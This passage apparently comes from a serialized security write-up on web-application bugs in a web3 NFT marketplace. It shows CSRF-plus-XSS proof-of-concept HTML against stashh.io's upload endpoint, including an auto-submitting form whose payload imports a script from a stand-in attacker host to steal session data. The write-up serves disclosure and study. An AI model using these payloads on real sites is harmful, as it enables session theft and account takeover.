});\n",{"type":23,"tag":213,"props":32314,"children":32315},{"class":215,"line":23918},[32316],{"type":23,"tag":213,"props":32317,"children":32318},{"style":220},[32319],{"type":28,"value":5964},{"type":23,"tag":213,"props":32321,"children":32322},{"class":215,"line":23972},[32323],{"type":23,"tag":213,"props":32324,"children":32325},{"style":220},[32326],{"type":28,"value":1208},{"type":23,"tag":213,"props":32328,"children":32329},{"class":215,"line":23980},[32330],{"type":23,"tag":213,"props":32331,"children":32332},{"emptyLinePlaceholder":18},[32333],{"type":28,"value":530},{"type":23,"tag":213,"props":32335,"children":32337},{"class":215,"line":32336},51,[32338,32342,32346,32351],{"type":23,"tag":213,"props":32339,"children":32340},{"style":230},[32341],{"type":28,"value":19537},{"type":23,"tag":213,"props":32343,"children":32344},{"style":220},[32345],{"type":28,"value":265},{"type":23,"tag":213,"props":32347,"children":32348},{"style":246},[32349],{"type":28,"value":32350},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":213,"props":32352,"children":32353},{"style":220},[32354],{"type":28,"value":2867},{"type":23,"tag":213,"props":32356,"children":32358},{"class":215,"line":32357},52,[32359,32364,32368,32372,32376,32381],{"type":23,"tag":213,"props":32360,"children":32361},{"style":257},[32362],{"type":28,"value":32363},"setTimeout",{"type":23,"tag":213,"props":32365,"children":32366},{"style":220},[32367],{"type":28,"value":265},{"type":23,"tag":213,"props":32369,"children":32370},{"style":268},[32371],{"type":28,"value":31549},{"type":23,"tag":213,"props":32373,"children":32374},{"style":220},[32375],{"type":28,"value":424},{"type":23,"tag":213,"props":32377,"children":32378},{"style":514},[32379],{"type":28,"value":32380},"1e3",{"type":23,"tag":213,"props":32382,"children":32383},{"style":220},[32384],{"type":28,"value":2867},{"type":23,"tag":24,"props":32386,"children":32387},{},[32388,32393],{"type":23,"tag":95,"props":32389,"children":32390},{},[32391],{"type":28,"value":32392},"CSRF & XSS",{"type":28,"value":32394},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":32396,"children":32397},{},[32398,32400,32405],{"type":28,"value":32399},"Our attention was drawn to ",{"type":23,"tag":36,"props":32401,"children":32403},{"href":31336,"rel":32402},[40],[32404],{"type":28,"value":31340},{"type":28,"value":32406},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":32408,"children":32409},{},[32410],{"type":23,"tag":4009,"props":32411,"children":32413},{"alt":7,"src":32412},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":32415,"children":32416},{},[32417],{"type":28,"value":32418},"and here there is the code:",{"type":23,"tag":202,"props":32420,"children":32422},{"className":31419,"code":32421,"language":31421,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[32423],{"type":23,"tag":209,"props":32424,"children":32425},{"__ignoreMap":7},[32426,32443,32460,32494,32580,32637,32836,32877,32893,32909,32916,32931,32938,32950,33009,33016,33079,33108,33146,33153,33191,33204,33211,33226],{"type":23,"tag":213,"props":32427,"children":32428},{"class":215,"line":216},[32429,32434,32439],{"type":23,"tag":213,"props":32430,"children":32432},{"style":32431},"--shiki-default:#808080",[32433],{"type":28,"value":434},{"type":23,"tag":213,"props":32435,"children":32436},{"style":230},[32437],{"type":28,"value":32438},"html",{"type":23,"tag":213,"props":32440,"children":32441},{"style":32431},[32442],{"type":28,"value":6084},{"type":23,"tag":213,"props":32444,"children":32445},{"class":215,"line":226},[32446,32451,32456],{"type":23,"tag":213,"props":32447,"children":32448},{"style":32431},[32449],{"type":28,"value":32450}," \u003C",{"type":23,"tag":213,"props":32452,"children":32453},{"style":230},[32454],{"type":28,"value":32455},"body",{"type":23,"tag":213,"props":32457,"children":32458},{"style":32431},[32459],{"type":28,"value":6084},{"type":23,"tag":213,"props":32461,"children":32462},{"class":215,"line":524},[32463,32467,32472,32476,32481,32486,32490],{"type":23,"tag":213,"props":32464,"children":32465},{"style":32431},[32466],{"type":28,"value":32450},{"type":23,"tag":213,"props":32468,"children":32469},{"style":230},[32470],{"type":28,"value":32471},"script",{"type":23,"tag":213,"props":32473,"children":32474},{"style":32431},[32475],{"type":28,"value":10545},{"type":23,"tag":213,"props":32477,"children":32478},{"style":220},[32479],{"type":28,"value":32480},"history.pushState('', '', '/')",{"type":23,"tag":213,"props":32482,"children":32483},{"style":32431},[32484],{"type":28,"value":32485},"\u003C/",{"type":23,"tag":213,"props":32487,"children":32488},{"style":230},[32489],{"type":28,"value":32471},{"type":23,"tag":213,"props":32491,"children":32492},{"style":32431},[32493],{"type":28,"value":6084},{"type":23,"tag":213,"props":32495,"children":32496},{"class":215,"line":533},[32497,32502,32507,32512,32516,32521,32526,32530,32535,32539,32543,32548,32553,32557,32562,32567,32571,32576],{"type":23,"tag":213,"props":32498,"children":32499},{"style":32431},[32500],{"type":28,"value":32501}," \u003C",{"type":23,"tag":213,"props":32503,"children":32504},{"style":230},[32505],{"type":28,"value":32506},"form",{"type":23,"tag":213,"props":32508,"children":32509},{"style":268},[32510],{"type":28,"value":32511}," id",{"type":23,"tag":213,"props":32513,"children":32514},{"style":274},[32515],{"type":28,"value":3190},{"type":23,"tag":213,"props":32517,"children":32518},{"style":246},[32519],{"type":28,"value":32520},"\"form123\"",{"type":23,"tag":213,"props":32522,"children":32523},{"style":268},[32524],{"type":28,"value":32525}," action",{"type":23,"tag":213,"props":32527,"children":32528},{"style":274},[32529],{"type":28,"value":3190},{"type":23,"tag":213,"props":32531,"children":32532},{"style":246},[32533],{"type":28,"value":32534},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":213,"props":32536,"children":32537},{"style":268},[32538],{"type":28,"value":17161},{"type":23,"tag":213,"props":32540,"children":32541},{"style":274},[32542],{"type":28,"value":3190},{"type":23,"tag":213,"props":32544,"children":32545},{"style":246},[32546],{"type":28,"value":32547},"\"POST\"",{"type":23,"tag":213,"props":32549,"children":32550},{"style":268},[32551],{"type":28,"value":32552}," enctype",{"type":23,"tag":213,"props":32554,"children":32555},{"style":274},[32556],{"type":28,"value":3190},{"type":23,"tag":213,"props":32558,"children":32559},{"style":246},[32560],{"type":28,"value":32561},"\"multipart/form-data\"",{"type":23,"tag":213,"props":32563,"children":32564},{"style":268},[32565],{"type":28,"value":32566}," value",{"type":23,"tag":213,"props":32568,"children":32569},{"style":274},[32570],{"type":28,"value":3190},{"type":23,"tag":213,"props":32572,"children":32573},{"style":246},[32574],{"type":28,"value":32575},"\"asd\"",{"type":23,"tag":213,"props":32577,"children":32578},{"style":32431},[32579],{"type":28,"value":6084},{"type":23,"tag":213,"props":32581,"children":32582},{"class":215,"line":543},[32583,32588,32592,32597,32601,32606,32611,32615,32620,32624,32628,32633],{"type":23,"tag":213,"props":32584,"children":32585},{"style":32431},[32586],{"type":28,"value":32587}," \u003C",{"type":23,"tag":213,"props":32589,"children":32590},{"style":230},[32591],{"type":28,"value":271},{"type":23,"tag":213,"props":32593,"children":32594},{"style":268},[32595],{"type":28,"value":32596}," type",{"type":23,"tag":213,"props":32598,"children":32599},{"style":274},[32600],{"type":28,"value":3190},{"type":23,"tag":213,"props":32602,"children":32603},{"style":246},[32604],{"type":28,"value":32605},"\"file\"",{"type":23,"tag":213,"props":32607,"children":32608},{"style":268},[32609],{"type":28,"value":32610}," name",{"type":23,"tag":213,"props":32612,"children":32613},{"style":274},[32614],{"type":28,"value":3190},{"type":23,"tag":213,"props":32616,"children":32617},{"style":246},[32618],{"type":28,"value":32619},"\"data\"",{"type":23,"tag":213,"props":32621,"children":32622},{"style":268},[32623],{"type":28,"value":32511},{"type":23,"tag":213,"props":32625,"children":32626},{"style":274},[32627],{"type":28,"value":3190},{"type":23,"tag":213,"props":32629,"children":32630},{"style":246},[32631],{"type":28,"value":32632},"\"file123\"",{"type":23,"tag":213,"props":32634,"children":32635},{"style":32431},[32636],{"type":28,"value":6084},{"type":23,"tag":213,"props":32638,"children":32639},{"class":215,"line":551},[32640,32645,32649,32653,32657,32662,32666,32670,32675,32679,32683,32687,32692,32697,32702,32707,32712,32716,32721,32726,32731,32735,32740,32745,32749,32754,32759,32764,32769,32774,32779,32784,32788,32793,32798,32803,32808,32813,32817,32822,32827,32831],{"type":23,"tag":213,"props":32641,"children":32642},{"style":32431},[32643],{"type":28,"value":32644}," \u003C",{"type":23,"tag":213,"props":32646,"children":32647},{"style":230},[32648],{"type":28,"value":271},{"type":23,"tag":213,"props":32650,"children":32651},{"style":268},[32652],{"type":28,"value":32596},{"type":23,"tag":213,"props":32654,"children":32655},{"style":274},[32656],{"type":28,"value":3190},{"type":23,"tag":213,"props":32658,"children":32659},{"style":246},[32660],{"type":28,"value":32661},"\"hidden\"",{"type":23,"tag":213,"props":32663,"children":32664},{"style":268},[32665],{"type":28,"value":32610},{"type":23,"tag":213,"props":32667,"children":32668},{"style":274},[32669],{"type":28,"value":3190},{"type":23,"tag":213,"props":32671,"children":32672},{"style":246},[32673],{"type":28,"value":32674},"\"config\"",{"type":23,"tag":213,"props":32676,"children":32677},{"style":268},[32678],{"type":28,"value":32566},{"type":23,"tag":213,"props":32680,"children":32681},{"style":274},[32682],{"type":28,"value":3190},{"type":23,"tag":213,"props":32684,"children":32685},{"style":246},[32686],{"type":28,"value":20114},{"type":23,"tag":213,"props":32688,"children":32689},{"style":230},[32690],{"type":28,"value":32691},"{"",{"type":23,"tag":213,"props":32693,"children":32694},{"style":246},[32695],{"type":28,"value":32696},"address",{"type":23,"tag":213,"props":32698,"children":32699},{"style":230},[32700],{"type":28,"value":32701},"":"",{"type":23,"tag":213,"props":32703,"children":32704},{"style":246},[32705],{"type":28,"value":32706},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":213,"props":32708,"children":32709},{"style":230},[32710],{"type":28,"value":32711},"<",{"type":23,"tag":213,"props":32713,"children":32714},{"style":246},[32715],{"type":28,"value":4009},{"type":23,"tag":213,"props":32717,"children":32718},{"style":230},[32719],{"type":28,"value":32720},"/",{"type":23,"tag":213,"props":32722,"children":32723},{"style":246},[32724],{"type":28,"value":32725},"src",{"type":23,"tag":213,"props":32727,"children":32728},{"style":230},[32729],{"type":28,"value":32730},"=",{"type":23,"tag":213,"props":32732,"children":32733},{"style":246},[32734],{"type":28,"value":19329},{"type":23,"tag":213,"props":32736,"children":32737},{"style":230},[32738],{"type":28,"value":32739}," ",{"type":23,"tag":213,"props":32741,"children":32742},{"style":246},[32743],{"type":28,"value":32744},"onerror",{"type":23,"tag":213,"props":32746,"children":32747},{"style":230},[32748],{"type":28,"value":32730},{"type":23,"tag":213,"props":32750,"children":32751},{"style":246},[32752],{"type":28,"value":32753},"alert",{"type":23,"tag":213,"props":32755,"children":32756},{"style":230},[32757],{"type":28,"value":32758},"(",{"type":23,"tag":213,"props":32760,"children":32761},{"style":246},[32762],{"type":28,"value":32763},"document",{"type":23,"tag":213,"props":32765,"children":32766},{"style":230},[32767],{"type":28,"value":32768},".",{"type":23,"tag":213,"props":32770,"children":32771},{"style":246},[32772],{"type":28,"value":32773},"domain",{"type":23,"tag":213,"props":32775,"children":32776},{"style":230},[32777],{"type":28,"value":32778},")>","",{"type":23,"tag":213,"props":32780,"children":32781},{"style":246},[32782],{"type":28,"value":32783},"to",{"type":23,"tag":213,"props":32785,"children":32786},{"style":230},[32787],{"type":28,"value":32701},{"type":23,"tag":213,"props":32789,"children":32790},{"style":246},[32791],{"type":28,"value":32792},"profile",{"type":23,"tag":213,"props":32794,"children":32795},{"style":230},[32796],{"type":28,"value":32797},"-",{"type":23,"tag":213,"props":32799,"children":32800},{"style":246},[32801],{"type":28,"value":32802},"assets",{"type":23,"tag":213,"props":32804,"children":32805},{"style":230},[32806],{"type":28,"value":32807},"","",{"type":23,"tag":213,"props":32809,"children":32810},{"style":246},[32811],{"type":28,"value":32812},"type",{"type":23,"tag":213,"props":32814,"children":32815},{"style":230},[32816],{"type":28,"value":32701},{"type":23,"tag":213,"props":32818,"children":32819},{"style":246},[32820],{"type":28,"value":32821},"icon",{"type":23,"tag":213,"props":32823,"children":32824},{"style":230},[32825],{"type":28,"value":32826},""}",{"type":23,"tag":213,"props":32828,"children":32829},{"style":246},[32830],{"type":28,"value":20114},{"type":23,"tag":213,"props":32832,"children":32833},{"style":32431},[32834],{"type":28,"value":32835}," />\n",{"type":23,"tag":213,"props":32837,"children":32838},{"class":215,"line":570},[32839,32843,32847,32851,32855,32860,32864,32868,32873],{"type":23,"tag":213,"props":32840,"children":32841},{"style":32431},[32842],{"type":28,"value":32644},{"type":23,"tag":213,"props":32844,"children":32845},{"style":230},[32846],{"type":28,"value":271},{"type":23,"tag":213,"props":32848,"children":32849},{"style":268},[32850],{"type":28,"value":32596},{"type":23,"tag":213,"props":32852,"children":32853},{"style":274},[32854],{"type":28,"value":3190},{"type":23,"tag":213,"props":32856,"children":32857},{"style":246},[32858],{"type":28,"value":32859},"\"submit\"",{"type":23,"tag":213,"props":32861,"children":32862},{"style":268},[32863],{"type":28,"value":32566},{"type":23,"tag":213,"props":32865,"children":32866},{"style":274},[32867],{"type":28,"value":3190},{"type":23,"tag":213,"props":32869,"children":32870},{"style":246},[32871],{"type":28,"value":32872},"\"Submit request\"",{"type":23,"tag":213,"props":32874,"children":32875},{"style":32431},[32876],{"type":28,"value":32835},{"type":23,"tag":213,"props":32878,"children":32879},{"class":215,"line":655},[32880,32885,32889],{"type":23,"tag":213,"props":32881,"children":32882},{"style":32431},[32883],{"type":28,"value":32884}," \u003C/",{"type":23,"tag":213,"props":32886,"children":32887},{"style":230},[32888],{"type":28,"value":32506},{"type":23,"tag":213,"props":32890,"children":32891},{"style":32431},[32892],{"type":28,"value":6084},{"type":23,"tag":213,"props":32894,"children":32895},{"class":215,"line":1176},[32896,32901,32905],{"type":23,"tag":213,"props":32897,"children":32898},{"style":32431},[32899],{"type":28,"value":32900}," \u003C/",{"type":23,"tag":213,"props":32902,"children":32903},{"style":230},[32904],{"type":28,"value":32455},{"type":23,"tag":213,"props":32906,"children":32907},{"style":32431},[32908],{"type":28,"value":6084},{"type":23,"tag":213,"props":32910,"children":32911},{"class":215,"line":1202},[32912],{"type":23,"tag":213,"props":32913,"children":32914},{"emptyLinePlaceholder":18},[32915],{"type":28,"value":530},{"type":23,"tag":213,"props":32917,"children":32918},{"class":215,"line":1758},[32919,32923,32927],{"type":23,"tag":213,"props":32920,"children":32921},{"style":32431},[32922],{"type":28,"value":32450},{"type":23,"tag":213,"props":32924,"children":32925},{"style":230},[32926],{"type":28,"value":32471},{"type":23,"tag":213,"props":32928,"children":32929},{"style":32431},[32930],{"type":28,"value":6084},{"type":23,"tag":213,"props":32932,"children":32933},{"class":215,"line":1767},[32934],{"type":23,"tag":213,"props":32935,"children":32936},{"emptyLinePlaceholder":18},[32937],{"type":28,"value":530},{"type":23,"tag":213,"props":32939,"children":32940},{"class":215,"line":1789},[32941,32946],{"type":23,"tag":213,"props":32942,"children":32943},{"style":220},[32944],{"type":28,"value":32945}," (async ()=>",{"type":23,"tag":213,"props":32947,"children":32948},{"style":230},[32949],{"type":28,"value":10964},{"type":23,"tag":213,"props":32951,"children":32952},{"class":215,"line":1812},[32953,32958,32963,32968,32973,32977,32981,32986,32990,32995,33000,33005],{"type":23,"tag":213,"props":32954,"children":32955},{"style":268},[32956],{"type":28,"value":32957}," const",{"type":23,"tag":213,"props":32959,"children":32960},{"style":268},[32961],{"type":28,"value":32962}," blob",{"type":23,"tag":213,"props":32964,"children":32965},{"style":274},[32966],{"type":28,"value":32967}," = ",{"type":23,"tag":213,"props":32969,"children":32970},{"style":1362},[32971],{"type":28,"value":32972},"await",{"type":23,"tag":213,"props":32974,"children":32975},{"style":274},[32976],{"type":28,"value":400},{"type":23,"tag":213,"props":32978,"children":32979},{"style":1362},[32980],{"type":28,"value":32972},{"type":23,"tag":213,"props":32982,"children":32983},{"style":257},[32984],{"type":28,"value":32985}," fetch",{"type":23,"tag":213,"props":32987,"children":32988},{"style":274},[32989],{"type":28,"value":265},{"type":23,"tag":213,"props":32991,"children":32992},{"style":246},[32993],{"type":28,"value":32994},"\"/sapo.png\"",{"type":23,"tag":213,"props":32996,"children":32997},{"style":274},[32998],{"type":28,"value":32999},")).",{"type":23,"tag":213,"props":33001,"children":33002},{"style":257},[33003],{"type":28,"value":33004},"blob",{"type":23,"tag":213,"props":33006,"children":33007},{"style":274},[33008],{"type":28,"value":7824},{"type":23,"tag":213,"props":33010,"children":33011},{"class":215,"line":1838},[33012],{"type":23,"tag":213,"props":33013,"children":33014},{"emptyLinePlaceholder":18},[33015],{"type":28,"value":530},{"type":23,"tag":213,"props":33017,"children":33018},{"class":215,"line":1851},[33019,33023,33028,33032,33036,33041,33046,33050,33054,33059,33064,33069,33074],{"type":23,"tag":213,"props":33020,"children":33021},{"style":268},[33022],{"type":28,"value":3163},{"type":23,"tag":213,"props":33024,"children":33025},{"style":268},[33026],{"type":28,"value":33027}," f",{"type":23,"tag":213,"props":33029,"children":33030},{"style":274},[33031],{"type":28,"value":32967},{"type":23,"tag":213,"props":33033,"children":33034},{"style":230},[33035],{"type":28,"value":1687},{"type":23,"tag":213,"props":33037,"children":33038},{"style":257},[33039],{"type":28,"value":33040}," File",{"type":23,"tag":213,"props":33042,"children":33043},{"style":274},[33044],{"type":28,"value":33045},"([",{"type":23,"tag":213,"props":33047,"children":33048},{"style":268},[33049],{"type":28,"value":33004},{"type":23,"tag":213,"props":33051,"children":33052},{"style":274},[33053],{"type":28,"value":23108},{"type":23,"tag":213,"props":33055,"children":33056},{"style":246},[33057],{"type":28,"value":33058},"'sapo.png'",{"type":23,"tag":213,"props":33060,"children":33061},{"style":274},[33062],{"type":28,"value":33063},", {",{"type":23,"tag":213,"props":33065,"children":33066},{"style":268},[33067],{"type":28,"value":33068},"type:",{"type":23,"tag":213,"props":33070,"children":33071},{"style":246},[33072],{"type":28,"value":33073}," 'image/png'",{"type":23,"tag":213,"props":33075,"children":33076},{"style":274},[33077],{"type":28,"value":33078},"})\n",{"type":23,"tag":213,"props":33080,"children":33081},{"class":215,"line":1864},[33082,33086,33091,33095,33099,33104],{"type":23,"tag":213,"props":33083,"children":33084},{"style":268},[33085],{"type":28,"value":32957},{"type":23,"tag":213,"props":33087,"children":33088},{"style":268},[33089],{"type":28,"value":33090}," dataTransfer",{"type":23,"tag":213,"props":33092,"children":33093},{"style":274},[33094],{"type":28,"value":32967},{"type":23,"tag":213,"props":33096,"children":33097},{"style":230},[33098],{"type":28,"value":1687},{"type":23,"tag":213,"props":33100,"children":33101},{"style":257},[33102],{"type":28,"value":33103}," DataTransfer",{"type":23,"tag":213,"props":33105,"children":33106},{"style":274},[33107],{"type":28,"value":3759},{"type":23,"tag":213,"props":33109,"children":33110},{"class":215,"line":1890},[33111,33116,33120,33125,33129,33133,33137,33142],{"type":23,"tag":213,"props":33112,"children":33113},{"style":268},[33114],{"type":28,"value":33115}," dataTransfer",{"type":23,"tag":213,"props":33117,"children":33118},{"style":274},[33119],{"type":28,"value":124},{"type":23,"tag":213,"props":33121,"children":33122},{"style":268},[33123],{"type":28,"value":33124},"items",{"type":23,"tag":213,"props":33126,"children":33127},{"style":274},[33128],{"type":28,"value":124},{"type":23,"tag":213,"props":33130,"children":33131},{"style":257},[33132],{"type":28,"value":605},{"type":23,"tag":213,"props":33134,"children":33135},{"style":274},[33136],{"type":28,"value":265},{"type":23,"tag":213,"props":33138,"children":33139},{"style":268},[33140],{"type":28,"value":33141},"f",{"type":23,"tag":213,"props":33143,"children":33144},{"style":274},[33145],{"type":28,"value":2867},{"type":23,"tag":213,"props":33147,"children":33148},{"class":215,"line":1899},[33149],{"type":23,"tag":213,"props":33150,"children":33151},{"emptyLinePlaceholder":18},[33152],{"type":28,"value":530},{"type":23,"tag":213,"props":33154,"children":33155},{"class":215,"line":1912},[33156,33161,33165,33170,33174,33179,33183,33187],{"type":23,"tag":213,"props":33157,"children":33158},{"style":268},[33159],{"type":28,"value":33160}," file123",{"type":23,"tag":213,"props":33162,"children":33163},{"style":274},[33164],{"type":28,"value":124},{"type":23,"tag":213,"props":33166,"children":33167},{"style":268},[33168],{"type":28,"value":33169},"files",{"type":23,"tag":213,"props":33171,"children":33172},{"style":274},[33173],{"type":28,"value":32967},{"type":23,"tag":213,"props":33175,"children":33176},{"style":268},[33177],{"type":28,"value":33178},"dataTransfer",{"type":23,"tag":213,"props":33180,"children":33181},{"style":274},[33182],{"type":28,"value":124},{"type":23,"tag":213,"props":33184,"children":33185},{"style":268},[33186],{"type":28,"value":33169},{"type":23,"tag":213,"props":33188,"children":33189},{"style":274},[33190],{"type":28,"value":313},{"type":23,"tag":213,"props":33192,"children":33193},{"class":215,"line":1921},[33194,33199],{"type":23,"tag":213,"props":33195,"children":33196},{"style":230},[33197],{"type":28,"value":33198}," }",{"type":23,"tag":213,"props":33200,"children":33201},{"style":220},[33202],{"type":28,"value":33203},")()\n",{"type":23,"tag":213,"props":33205,"children":33206},{"class":215,"line":3879},[33207],{"type":23,"tag":213,"props":33208,"children":33209},{"emptyLinePlaceholder":18},[33210],{"type":28,"value":530},{"type":23,"tag":213,"props":33212,"children":33213},{"class":215,"line":3887},[33214,33218,33222],{"type":23,"tag":213,"props":33215,"children":33216},{"style":32431},[33217],{"type":28,"value":32900},{"type":23,"tag":213,"props":33219,"children":33220},{"style":230},[33221],{"type":28,"value":32471},{"type":23,"tag":213,"props":33223,"children":33224},{"style":32431},[33225],{"type":28,"value":6084},{"type":23,"tag":213,"props":33227,"children":33228},{"class":215,"line":3918},[33229,33233,33237],{"type":23,"tag":213,"props":33230,"children":33231},{"style":32431},[33232],{"type":28,"value":32485},{"type":23,"tag":213,"props":33234,"children":33235},{"style":230},[33236],{"type":28,"value":32438},{"type":23,"tag":213,"props":33238,"children":33239},{"style":32431},[33240],{"type":28,"value":6084},{"type":23,"tag":24,"props":33242,"children":33243},{},[33244],{"type":28,"value":33245},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":33247,"children":33248},{},[33249],{"type":28,"value":33250},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":33252,"children":33253},{},[33254],{"type":28,"value":33255},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":33257,"children":33258},{},[33259],{"type":28,"value":33260},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":202,"props":33262,"children":33264},{"className":31419,"code":33263,"language":31421,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[33265],{"type":23,"tag":209,"props":33266,"children":33267},{"__ignoreMap":7},[33268,33283,33298,33329,33404,33455,33643,33682,33697,33712,33719,33734,33741,33752,33803,33810,33865,33892,33927,33934,33969,33976,33997,34008,34015,34030],{"type":23,"tag":213,"props":33269,"children":33270},{"class":215,"line":216},[33271,33275,33279],{"type":23,"tag":213,"props":33272,"children":33273},{"style":32431},[33274],{"type":28,"value":434},{"type":23,"tag":213,"props":33276,"children":33277},{"style":230},[33278],{"type":28,"value":32438},{"type":23,"tag":213,"props":33280,"children":33281},{"style":32431},[33282],{"type":28,"value":6084},{"type":23,"tag":213,"props":33284,"children":33285},{"class":215,"line":226},[33286,33290,33294],{"type":23,"tag":213,"props":33287,"children":33288},{"style":32431},[33289],{"type":28,"value":32450},{"type":23,"tag":213,"props":33291,"children":33292},{"style":230},[33293],{"type":28,"value":32455},{"type":23,"tag":213,"props":33295,"children":33296},{"style":32431},[33297],{"type":28,"value":6084},{"type":23,"tag":213,"props":33299,"children":33300},{"class":215,"line":524},[33301,33305,33309,33313,33317,33321,33325],{"type":23,"tag":213,"props":33302,"children":33303},{"style":32431},[33304],{"type":28,"value":32450},{"type":23,"tag":213,"props":33306,"children":33307},{"style":230},[33308],{"type":28,"value":32471},{"type":23,"tag":213,"props":33310,"children":33311},{"style":32431},[33312],{"type":28,"value":10545},{"type":23,"tag":213,"props":33314,"children":33315},{"style":220},[33316],{"type":28,"value":32480},{"type":23,"tag":213,"props":33318,"children":33319},{"style":32431},[33320],{"type":28,"value":32485},{"type":23,"tag":213,"props":33322,"children":33323},{"style":230},[33324],{"type":28,"value":32471},{"type":23,"tag":213,"props":33326,"children":33327},{"style":32431},[33328],{"type":28,"value":6084},{"type":23,"tag":213,"props":33330,"children":33331},{"class":215,"line":533},[33332,33336,33340,33344,33348,33352,33356,33360,33364,33368,33372,33376,33380,33384,33388,33392,33396,33400],{"type":23,"tag":213,"props":33333,"children":33334},{"style":32431},[33335],{"type":28,"value":32501},{"type":23,"tag":213,"props":33337,"children":33338},{"style":230},[33339],{"type":28,"value":32506},{"type":23,"tag":213,"props":33341,"children":33342},{"style":268},[33343],{"type":28,"value":32511},{"type":23,"tag":213,"props":33345,"children":33346},{"style":274},[33347],{"type":28,"value":3190},{"type":23,"tag":213,"props":33349,"children":33350},{"style":246},[33351],{"type":28,"value":32520},{"type":23,"tag":213,"props":33353,"children":33354},{"style":268},[33355],{"type":28,"value":32525},{"type":23,"tag":213,"props":33357,"children":33358},{"style":274},[33359],{"type":28,"value":3190},{"type":23,"tag":213,"props":33361,"children":33362},{"style":246},[33363],{"type":28,"value":32534},{"type":23,"tag":213,"props":33365,"children":33366},{"style":268},[33367],{"type":28,"value":17161},{"type":23,"tag":213,"props":33369,"children":33370},{"style":274},[33371],{"type":28,"value":3190},{"type":23,"tag":213,"props":33373,"children":33374},{"style":246},[33375],{"type":28,"value":32547},{"type":23,"tag":213,"props":33377,"children":33378},{"style":268},[33379],{"type":28,"value":32552},{"type":23,"tag":213,"props":33381,"children":33382},{"style":274},[33383],{"type":28,"value":3190},{"type":23,"tag":213,"props":33385,"children":33386},{"style":246},[33387],{"type":28,"value":32561},{"type":23,"tag":213,"props":33389,"children":33390},{"style":268},[33391],{"type":28,"value":32566},{"type":23,"tag":213,"props":33393,"children":33394},{"style":274},[33395],{"type":28,"value":3190},{"type":23,"tag":213,"props":33397,"children":33398},{"style":246},[33399],{"type":28,"value":32575},{"type":23,"tag":213,"props":33401,"children":33402},{"style":32431},[33403],{"type":28,"value":6084},{"type":23,"tag":213,"props":33405,"children":33406},{"class":215,"line":543},[33407,33411,33415,33419,33423,33427,33431,33435,33439,33443,33447,33451],{"type":23,"tag":213,"props":33408,"children":33409},{"style":32431},[33410],{"type":28,"value":32587},{"type":23,"tag":213,"props":33412,"children":33413},{"style":230},[33414],{"type":28,"value":271},{"type":23,"tag":213,"props":33416,"children":33417},{"style":268},[33418],{"type":28,"value":32596},{"type":23,"tag":213,"props":33420,"children":33421},{"style":274},[33422],{"type":28,"value":3190},{"type":23,"tag":213,"props":33424,"children":33425},{"style":246},[33426],{"type":28,"value":32605},{"type":23,"tag":213,"props":33428,"children":33429},{"style":268},[33430],{"type":28,"value":32610},{"type":23,"tag":213,"props":33432,"children":33433},{"style":274},[33434],{"type":28,"value":3190},{"type":23,"tag":213,"props":33436,"children":33437},{"style":246},[33438],{"type":28,"value":32619},{"type":23,"tag":213,"props":33440,"children":33441},{"style":268},[33442],{"type":28,"value":32511},{"type":23,"tag":213,"props":33444,"children":33445},{"style":274},[33446],{"type":28,"value":3190},{"type":23,"tag":213,"props":33448,"children":33449},{"style":246},[33450],{"type":28,"value":32632},{"type":23,"tag":213,"props":33452,"children":33453},{"style":32431},[33454],{"type":28,"value":6084},{"type":23,"tag":213,"props":33456,"children":33457},{"class":215,"line":551},[33458,33462,33466,33470,33474,33478,33482,33486,33490,33494,33498,33502,33507,33511,33516,33520,33525,33529,33534,33539,33543,33547,33552,33557,33562,33567,33572,33577,33581,33586,33590,33594,33599,33603,33608,33613,33618,33622,33626,33630,33635,33639],{"type":23,"tag":213,"props":33459,"children":33460},{"style":32431},[33461],{"type":28,"value":32644},{"type":23,"tag":213,"props":33463,"children":33464},{"style":230},[33465],{